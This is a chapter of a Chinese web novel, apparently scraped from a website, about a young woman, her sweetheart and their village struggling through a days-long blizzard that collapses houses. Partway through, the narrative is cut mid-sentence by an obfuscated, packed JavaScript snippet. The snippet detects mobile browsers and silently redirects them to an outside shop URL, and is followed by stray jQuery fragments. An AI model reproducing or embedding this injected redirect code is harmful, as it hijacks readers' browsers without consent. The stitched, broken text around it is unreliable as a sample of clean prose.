第二日一早,童念推开门,心里便是一惊。
天空中竟还飘着雪花,丝毫没有停歇的意思,院中的积雪竟已没到了膝盖。
她推开院门,天地间白茫茫一片,从她的视线瞧过去,安民村像覆盖在一层霜雪世界里,几乎辨不清道路院落。
就在这时,院门侧边传来踏雪的沉重脚步声,谢云意顶着风雪,一身清寒雪白,背着一个极大的竹筐,阔步走了过来。
童念连忙替他拂过发丝肩膀的雪痕,心疼道:“你怎么来了,这么大的雪,有什么事等雪停了再来也不迟,快进屋来。”
童念赶紧拉着他进还烧着火的灶房里。
谢云意跟着童念进了灶房,将筐子放下,里面是一背篓带着霜雪气息的鲜蔬,一大袋米,还有两块用油纸包好的腊肉,肥瘦皆有。
谢云意眉睫上染着冰晶,语气沉肃:“我瞧你厨里没剩多少鲜菜了,就摘了些给你带过来,我看这雪怕是有些不对,柴火和吃食你恐怕要留心些,得预估个十天半月的量,我担心后头这雪也停不下来,家里粮食米油可还够?”
童念闻言心下一凛,她估算了一下家里剩下的东西:“菜窖里还放了不少菘菜萝卜,还有几箩筐土芋和红薯,都是年前拖陈才用驴车送回来的,仓库里还有不少米面,我和宁宁小安三个省着点,一个月以上是没问题的。”
说着童念又看向他带来的背篓,皱眉道:“怎么送这么多来,你们自己可够吃?你要不带些土芋回去,这袋粮你也拿回去,我这都够的。”
“放心,家里都够的。”谢云意眉眼松下来,他嘱咐道:“这几日锁紧门,好好照顾自己,得空了我再过来。”
童念心疼他,摇头婉拒:“没事你别过来了,这风雪那么大,万一你摔着碰着了怎么办?你放心,我能照顾好自己的,而且附近还有文叔他们在,你不用担心。”
谢云意没应声,只捏着她的指尖,那里刚替他扫了风雪,被冻得有些泛红。
见他不做声,童念锤了他肩膀一下,提声道:“听到没有?”
“嗯,看情况吧。”谢云意自然是放心不下的,只眼下也不能再多做什么。
之后他冒着风雪,爬上楼梯将童念家屋顶的雪扫下来,仔细交代童念过冬的要点,这才不舍的转身没入纷飞的大雪中。
谢云意走后过了一段时间,陈才也冒着雪深一脚浅一脚地来了,帽檐上都结了一层冰壳。
“童娘子,周婶让我赶紧来告诉你,这雪估摸着要下几日了!让你赶紧把后头菜地能收的都收了!柴火多备些,吃食也检点好,怕是要有段日子不好过!”
童念应好,又询问他们两家可囤够了吃食,陈才说都囤着呢,连鸡都挪到屋里头给做了窝,以便保证两个孕妇冬日里也能吃上蛋,童念这才放下心。
第三日,雪时大时小,却未曾真正停过。
积雪已掩埋了小半截门头,过了晌午,眼瞧着雪还在下,村里响起了敲击铜锣的声音。
吴村正冒着风雪,手里提着个铜锣,身后跟着几个吴家的青壮,正挨家挨户的提醒:“各家各户家里有青壮劳力的,先将孤弱多的人家房顶雪扫下来!邻里都互相看顾着些!”
风雪凛冽,但安民村的村民此时都拧成一股绳,这种严寒的天气,若还如平日般计较偷懒,后果谁都担不住。
所以村里能动弹的男人们都出来了,顶着风雪,用简陋的工具艰难的清理屋顶厚重的积雪。
有些人家房子简陋些的,吴村正便带着人找些硬实些的木头顶着,先将就着用,熬过这段雪期再说。
童念家的房顶积雪不厚,但吴村正还是唤了人过来替她把屋顶的雪扫开,童念道了谢,又给帮忙的各家青壮送了一碗热姜汤暖身。
等人走了之后,童念不时出去用竹竿把屋顶的积雪扒拉开,避免顶上积太多厚雪,压塌了房子。
然而雪依然不紧不慢地下着,仿佛天穹破了个洞,怎么都堵不住。
第四日,情况更是严峻,雪不再是时小时大的飘着,而是如鹅毛般密密麻麻的雪片,织成厚重的白色帘幕,裹着如刀般的冰风,在空中呼啸疾落。
几步之外便人影模糊,村里的预警铜锣几乎不再停歇,每隔一个时辰便奋力敲响一次。
那急促的哐哐声在狂风暴雪中像冰锥一样,落在每个人心头,村里人心底的紧张凄惶越来越浓。
童念将林安林宁紧紧拢在身边,三人在卧房里围着火盆蜷坐着,感受到两人的慌乱,童念安慰他们:“别怕,有阿姐在。”
听着门外呼嚎的风雪声,还有那不时传来的铜锣声,童念心中的不安像这积雪一样,越来越厚,越来越沉。
第五日,大雪依旧未停,天色将明时,一声凄厉尖锐的哭嚎,骤然刺破了风雪中的村子。
紧接着是更多混杂的惊叫哭喊,还有凌乱的响动。
童念听见哭嚎猛地从床里钻出来,心脏惊惧骤缩。
出事了!
童念拉开堂屋的门,屋檐下的积雪竟比门楣还高。
“阿姐!”林安林宁跟在她身后,看到这景象,小脸瞬间煞白,林宁更是紧紧抓住了哥哥的衣角,满眼恐惧。
“别怕,没事,只是雪太厚了。”童念强迫自己镇定,声音尽量放得平稳安慰她们俩:“你们回卧房里待着别动,阿姐去拿铲子把雪弄开。”
她转身回屋,找了根粗棍子,先从门前处拼命向外捅,积雪不时往身上落,童念戴着手套的手僵得发麻,心跳又快又乱,但她不敢停,村里的人声和哭喊声还在不时传过来。
没多久,她在比人高的雪中硬生生掘出来一条通往灶房的狭窄通道,扑在雪地里,费力地推开了灶门,进了灶房,拿了铲子,准备挖一条道出去。
“童童!”一个熟悉而急切的声音,穿透风雪,清晰地从院墙外传来。
是谢云意!
“谢云意!我在灶房里!”童念立刻拿上铲子,一边用尽力气大声回应,一边努力用铲子刨雪爬上去。
外面的声音立刻变得更加急促有力,没过多久,谢云意直接从杂木林方向破开一条道来。
他头上身上全是雪沫,呼吸急促,脸上裹着厚厚的面罩,一眼瞧见在雪地里奋力刨雪的童念,赶紧滑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074207|191968||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过去接住她。
童念几步爬冲过去,扑进他带着寒气的怀里,手臂紧紧环住他的腰,将脸埋在他胸前。
谢云意一手揽住童念,一手轻轻拍了拍她的背,柔声安抚着:“别怕,我来了。”
听到动静跑出门口的林安和林宁都愣住了,呆呆地仰头看着雪地上相拥的两人。
片刻后,察觉童念情绪稳定了,他才轻轻把人推开:“屋顶的雪要尽快清掉,你进屋休息等着我可好?”
童念摇摇头:“一起吧,我担心婶子她们。”说罢她转身对屋里的俩人道:“小安,把堂屋那根竹竿给我。”
“哎!好!”林安也来不及多问,赶紧跑进堂屋把竹竿拿出来给童念。
童念和谢云意很快清理好主屋屋顶的积雪,让林安俩人穿戴好躲进灶房里,这才匆匆赶去周婶家的方向。
雪深得可怕,俩人几乎是在雪地里爬涌着朝前走的,童念更是举步维艰,全靠谢云意在前用铁锹开道,一手牢牢拉着她。
“路上这么深的雪,你怎么过来的?婶子她们还好吗?”童念看着他大半个身子埋在雪里,又心疼又疑惑。
“昨日见势头不对,就备了些长竿和木板,清理了谢家到这边的路径,幸好做了准备,不然还得耽误一会才能过来。”谢云意一边开路一边解释:“谢家村塌了几处,村正带着人把人救出来了,我家里是青砖瓦房,还算牢固,屋顶清理好,剩下的交给阿岳,我脱身便立刻过来了。”
两人艰难跋涉,先到了周婶家。
她家篱笆低矮,几乎被雪抹平,幸而正屋是土坯墙茅草顶,虽然被厚雪覆盖得严严实实,却并未坍塌。
文守诚正拿着一把铲子,在院子里吃力地铲雪,试图开出一条路,周婶站在屋里头,脸色焦急,瞧见她们过来了,这才脸色一松。
周婶从窗户里探出身子,眼圈红着,知晓童念家没事,又对谢云意道了谢,询问谢家村的情况,知道两家都没事,她这才放下心来。
三人合力,速度快了许多,很快清出一条通向屋门和院外的小径。
之后他们又赶往陈家。
陈才正在奋力除雪,呼出的白气在眉睫上结了霜,看到童念和谢云意,陈才忙招呼:“童娘子,谢兄弟!你们那边咋样?”
互通了情况,得知几家人都没事,萧三娘在堂屋里头,这才松了口气。
陈才神色凝重道:“村里头怕是不好了,咱们得赶紧过去。”
几人合力又赶紧往村里赶,眼前的景象让童念心如冰窖。
安民村里的那些简易粗陋的茅草土屋,终究是没能扛过这连绵不绝的白色灾难,轰然坍塌。
十几户人家的房屋已彻底消失在厚厚的雪丘之下,更多人家的房子塌了半边,有些人家屋顶整个陷落,幸存的人们在雪堆里哭喊。
有人在徒手哭喊挖掘,还有些人茫然地站在废墟旁,脸上带着麻木死寂。
祸不单行,天气骤然变幻,风雪再次变大,雪花不再是飘落,而是被狂风卷着,一团团地砸下来,迷得人睁不开眼,几步之外便人影模糊,寒冷刺骨,呼气成雾。